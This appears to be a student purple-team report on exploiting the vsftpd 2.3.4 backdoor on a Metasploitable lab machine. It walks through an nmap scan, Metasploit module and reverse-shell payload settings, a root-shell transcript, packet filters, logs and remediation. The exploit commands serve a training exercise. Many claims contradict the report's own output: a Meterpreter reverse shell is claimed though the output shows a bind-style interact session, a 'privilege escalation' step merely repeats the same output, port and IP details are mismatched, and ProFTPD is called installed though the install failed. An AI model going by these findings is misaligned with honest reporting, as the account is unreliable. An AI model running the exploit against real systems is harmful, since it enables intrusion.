

# Purple Team Report: "Breach & Defend - Clash of Teams 101"

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## 1. Executive Summary

This report documents the full process of a simulated cyberattack on a vulnerable Metasploitable machine. The Red Team (offensive) initiated a multi-stage attack, exploiting a known vulnerability in vsFTPD 2.3.4 (FTP server) to gain unauthorized access to the target system. Once access was achieved, privilege escalation was performed to gain root access. The Blue Team (defensive) analyzed the attack, detected it using Wireshark and system logs, and applied remediation steps to mitigate future vulnerabilities.

This report outlines the entire attack chain, from exploitation to detection and remediation, highlighting the Red Team's actions, the Blue Team's response, and the corrective actions taken to secure the system.

## 2. Attack Log: Red Team Actions

### 2.1 Reconnaissance Phase

Nmap Scan:

- An Nmap scan was performed on the Metasploitable machine to identify open ports. The following open ports were discovered:

- Port 21 (FTP)
- Port 22 (SSH)
- Port 80 (HTTP)

The target's IP address was 10.66.x.x.

```
(kali@kali)~$ nmap -sC -sV -T4 10.66.159.85
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-17 09:25 EST
Nmap scan report for 10.66.159.85
Host is up (0.0050s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.66.159.85
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet         Linux telnetd
```

### 2.2 Exploitation Phase

vsFTPD 2.3.4 Backdoor Exploit:

- The vsFTPD 2.3.4 service on port 21 was identified as vulnerable to the backdoor exploit

Using Metasploit, the vsFTPD 2.3.4 backdoor exploit was launched:

[illegible]

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 10.66.x.x
set LHOST 10.66.y.y # Kali's IP address
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#   Name                               Disclosure Date   Rank   Check   Description
-   -
0   payload/cmd/unix/interact           .               normal No       Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.66 [REDACTED]:21 - The port used by the backdoor bind listener is already open
[*] 10.66 [REDACTED]:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.66 [REDACTED]:33499 -> 10.66 [REDACTED]:6200) at 2026-02-17 09:38:19 -0500

getuid
sh: line 6: getuid: command not found
whoami
root
```

- The reverse shell was established, giving the attacker access to the Metasploitable system.

## 2.3 Privilege Escalation Phase

Once a Meterpreter shell was obtained, the Red Team escalated privileges from a low-level user to root access:

whoami

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact .               normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.66.1.21 - The port used by the backdoor bind listener is already open
[+] 10.66.1.21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.66.1.21:33499 -> 10.66.1.21:6200) at 2026-02-17 09:38:19 -0500

getuid
sh: line 6: getuid: command not found
whoami
root
```

The result showed root, confirming successful privilege escalation.

## 3. Detection: Blue Team Actions

### 3.1 Packet Capture with Wireshark


Wireshark was used to capture network traffic between the attacker (Kali Linux) and the target (Metasploitable).

Filters were applied to focus on traffic involving the attacker's IP:

plaintext

ip.src == 192.66.y.y # Attacker's IP

ip.dst == 192.66.x.x # Target's IP



- The following traffic was identified:

- FTP traffic (Port 21) showing connections between the attacker and target.
- Reverse shell connection from Metasploitable to Kali, establishing the Meterpreter session.

### 3.2 Log Review

The Blue Team examined logs from the Metasploitable machine to identify suspicious activity:

- Authentication logs indicated a failed FTP login attempt followed by a successful connection.
- System logs showed commands executed by the attacker with root privileges.

```
user root
Feb 17 10:39:01 metasploitable CRON[5055]: pam_unix(cron:session): session opened for user root by (uid=0)
Feb 17 10:39:01 metasploitable CRON[5055]: pam_unix(cron:session): session closed for user root
Feb 17 10:48:42 metasploitable sshd[4093]: Server listening on :: port 22.
Feb 17 10:48:42 metasploitable sshd[4093]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use.
Feb 17 10:49:18 metasploitable login[4618]: pam_unix(login:session): session opened for user msfadmin by LOGIN(uid=0)
Feb 17 10:50:36 metasploitable sshd[4723]: Did not receive identification string from 10.66.159.85
Feb 17 10:50:36 metasploitable rshd[ ]: Connection from 10.66.159.85 on illegal port
Feb 17 10:50:42 metasploitable rlogind[ ]: Connection from 10.66.159.85 on illegal port
Feb 17 10:50:48 metasploitable sshd[4779]: Protocol major versions differ for 10.66.159.85: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 vs. SSH-1.5-Mmap-SSH1-Hostkey
Feb 17 10:50:48 metasploitable rshd[4793]: Connection from 10.66.159.85 on illegal port
Feb 17 10:50:49 metasploitable sshd[4799]: Protocol major versions differ for 10.66.159.85: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 vs. SSH-1.5-MmapNSE_1.0
Feb 17 10:50:52 metasploitable rshd[4832]: Connection from 10.66.159.85 on illegal port
msfadmin@metasploitable:~$
```

## 4. Remediation: Defensive Measures

### 4.1 Immediate Remediation Steps

Stopped the Vulnerable Service: The vsFTPD service was immediately stopped:

```
sudo service vsftpd stop
```

```
sudo systemctl disable vsftpd
```

```
msfadmin@metasploitable:~$ sudo service vsftpd stop
[sudo] password for msfadmin:
```

```
msfadmin@metasploitable:~$ sudo systemctl disable vsftpd
```

- Removed vsFTPD and Installed Secure FTP Alternatives:

```
sudo apt-get remove --purge vsftpd
```

```
sudo apt-get install proftpd
```

```
msfadmin@metasploitable:~$ sudo apt-get remove --purge vsftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package vsftpd is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 139 not upgraded.
msfadmin@metasploitable:~$ sudo apt-get install proftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Couldn't find package proftpd
msfadmin@metasploitable:~$ _
```

ProFTPD was installed as a more secure FTP server.

## 5. After Action Report: Lessons Learned and Automation

### 5.1 Lessons Learned

**FTP Services:** Running outdated or unpatched FTP services can expose systems to serious vulnerabilities. It's critical to regularly update and patch services to prevent exploitation.

**Network Traffic Monitoring:** Effective monitoring of network traffic using tools like Wireshark is essential for identifying abnormal activity, such as reverse shell connections.

**Privilege Escalation:** Once access is gained, privilege escalation techniques can quickly lead to root access. Proper access control and regular system auditing are crucial to limiting the damage of such attacks.

### 5.3 Impact Analysis

If this breach had occurred in a real production environment, the company could have faced:

- Loss of sensitive data if unauthorized access was used to steal or alter files.
- System downtime caused by attackers modifying critical files or introducing backdoors.
- Reputation damage due to the exposure of vulnerabilities in publicly accessible services (like FTP).

## 6. Conclusion

The Red Team successfully exploited the vsFTPD 2.3.4 backdoor vulnerability and escalated privileges to root access. The Blue Team effectively detected the attack using Wireshark and system logs, followed by immediate remediation actions to secure the system.

By implementing secure configurations, firewall rules, and automatic patching, the target system was hardened against further attacks. This exercise highlights the importance of monitoring, updating, and securing services to prevent exploitation.